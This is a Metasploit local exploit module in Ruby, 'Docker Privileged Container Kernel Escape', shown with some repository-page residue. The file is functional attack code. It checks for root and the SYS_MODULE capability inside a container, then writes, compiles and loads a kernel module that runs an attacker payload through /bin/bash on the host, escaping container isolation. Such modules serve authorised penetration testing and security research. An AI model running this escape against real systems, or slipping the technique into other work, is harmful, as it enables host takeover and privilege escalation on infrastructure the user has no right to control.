219 lines
7.8 KiB
Ruby
219 lines
7.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::Linux::Kernel
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
{
|
|
'Name' => 'Docker Privileged Container Kernel Escape',
|
|
'Description' => %q{
|
|
This module performs a container escape onto the host as the daemon
|
|
user. It takes advantage of the SYS_MODULE capability. If that
|
|
exists and the linux headers are available to compile on the target,
|
|
then we can escape onto the host.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Nick Cottrell <Rad10Logic>', # Module writer
|
|
'Eran Ayalon', # PoC/article writer
|
|
'Ilan Sokol' # PoC/article writer
|
|
],
|
|
'Platform' => ['linux', 'unix'],
|
|
'Arch' => [ARCH_CMD],
|
|
'Targets' => [['Automatic', {}]],
|
|
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'DefaultTarget' => 0,
|
|
'References' => [
|
|
['URL', 'https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities'],
|
|
['URL', 'https://github.com/maK-/reverse-shell-access-kernel-module']
|
|
],
|
|
'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_advanced_options([
|
|
OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)]),
|
|
OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"]),
|
|
OptBool.new('ReloadKernelModule', [false, 'Rebuilds and reloads kernel module if its already loaded in case of repeat runs', false])
|
|
])
|
|
end
|
|
|
|
# Check we have all the prerequisites to perform the escape
|
|
def check
|
|
# Checking database if host has already been disclosed as a container
|
|
if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host
|
|
container_name = framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host
|
|
if !['docker', 'podman', 'lxc'].include?(container_name)
|
|
return Exploit::CheckCode::Unsupported('Host does not appear to be container of any kind')
|
|
end
|
|
elsif active_db?
|
|
checkcontainer = framework.post.create('linux/gather/checkcontainer')
|
|
checkcontainer.datastore['SESSION'] = datastore['SESSION']
|
|
checkcontainer.run
|
|
end
|
|
|
|
# is root user
|
|
unless is_root?
|
|
return Exploit::CheckCode::Safe('Exploit requires root inside container')
|
|
end
|
|
|
|
# Checking if the SYS_MODULE capability is enabled
|
|
capability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16)
|
|
unless capability_bitmask & 0x0000000000010000 > 0
|
|
return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled')
|
|
end
|
|
|
|
# Check if kernel header folders exist
|
|
unless directory?("/lib/modules/#{kernel_release}/build")
|
|
return Exploit::CheckCode::Unknown("Kernel headers for this target do not appear to be installed. Attempt to install [gcc, make, linux-headers-#{kernel_release}] then retry check")
|
|
end
|
|
|
|
# Check that our required binaries are installed
|
|
unless command_exists?('insmod')
|
|
return Exploit::CheckCode::Unknown('insmod does not appear to be installed.')
|
|
end
|
|
unless command_exists?('make')
|
|
return Exploit::CheckCode::Unknown('make isnt installed on the system.')
|
|
end
|
|
|
|
CheckCode::Vulnerable('Inside Docker container and target appears vulnerable')
|
|
end
|
|
|
|
def exploit
|
|
# Check that container directory is writable
|
|
if directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir'])
|
|
fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable")
|
|
end
|
|
|
|
# Checking that kernel module isnt already running
|
|
if kernel_modules.include?(datastore['KernelModuleName']) && !datastore['ReloadKernelModule']
|
|
fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel")
|
|
end
|
|
|
|
# Creating source files
|
|
print_status('Creating files')
|
|
mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir'])
|
|
cd(datastore['WritableContainerDir'])
|
|
write_kernel_source(datastore['KernelModuleName'], payload.encoded)
|
|
write_makefile(datastore['KernelModuleName'])
|
|
register_files_for_cleanup([
|
|
"#{datastore['KernelModuleName']}.c",
|
|
'Makefile'
|
|
])
|
|
|
|
# Making exploit
|
|
print_status('Making kernel module')
|
|
results = cmd_exec('make')
|
|
vprint_status('Make results')
|
|
vprint_line(results)
|
|
register_files_for_cleanup([
|
|
'Module.symvers',
|
|
'modules.order',
|
|
"#{datastore['KernelModuleName']}.mod",
|
|
"#{datastore['KernelModuleName']}.mod.c",
|
|
"#{datastore['KernelModuleName']}.mod.o",
|
|
"#{datastore['KernelModuleName']}.o"
|
|
])
|
|
|
|
# Checking if kernel file exists
|
|
unless file_exist?("#{datastore['KernelModuleName']}.ko")
|
|
fail_with(Failure::PayloadFailed, 'Kernel file did not compile. Run with verbose to see make errors.')
|
|
end
|
|
print_good('Kernel module compiled successfully')
|
|
|
|
# Loading module and running exploit
|
|
if datastore['ReloadKernelModule']
|
|
vprint_status('Kernel module was already loaded. Removing it')
|
|
cmd_exec("rmmod #{datastore['KernelModuleName']}")
|
|
end
|
|
print_status('Loading kernel module')
|
|
results = cmd_exec("insmod #{datastore['KernelModuleName']}.ko")
|
|
vprint_status('Insmod results')
|
|
vprint_line(results)
|
|
|
|
# Leave temporary directory
|
|
cd('/')
|
|
end
|
|
|
|
def cleanup
|
|
# Go to the working directory
|
|
cd(datastore['WritableContainerDir'])
|
|
|
|
# Attempt to remove kernel module
|
|
if kernel_modules.include?(datastore['KernelModuleName'])
|
|
vprint_status('Cleaning kernel module')
|
|
cmd_exec("rmmod #{datastore['KernelModuleName']}")
|
|
end
|
|
|
|
# Check that kernel module was removed
|
|
if kernel_modules.include?(datastore['KernelModuleName'])
|
|
print_warning('Payload was not a oneshot and cannot be removed until session is ended')
|
|
print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually")
|
|
end
|
|
cd('/')
|
|
|
|
super
|
|
end
|
|
|
|
def write_kernel_source(filename, payload_content)
|
|
file_content = %^
|
|
#include<linux/init.h>
|
|
#include<linux/module.h>
|
|
#include<linux/kmod.h>
|
|
|
|
MODULE_LICENSE("GPL");
|
|
|
|
static int start_shell(void){
|
|
char *argv[] ={"/bin/bash", "-c", "#{payload_content.gsub(/['"]/, '\\\\\0')}", NULL};
|
|
static char *env[] = {
|
|
"HOME=/",
|
|
"TERM=linux",
|
|
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
|
|
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
|
|
}
|
|
|
|
static int init_mod(void){
|
|
return start_shell();
|
|
}
|
|
static void exit_mod(void){
|
|
|
|
return;
|
|
}
|
|
module_init(init_mod);
|
|
module_exit(exit_mod);
|
|
^
|
|
filename = "#{filename}.c" unless filename.end_with?('.c')
|
|
write_file(filename, file_content)
|
|
end
|
|
|
|
def write_makefile(filename)
|
|
file_contents = %^
|
|
obj-m +=#{filename}.o
|
|
all:
|
|
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
|
|
clean:
|
|
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
|
|
^
|
|
write_file('Makefile', file_contents)
|
|
end
|
|
end
|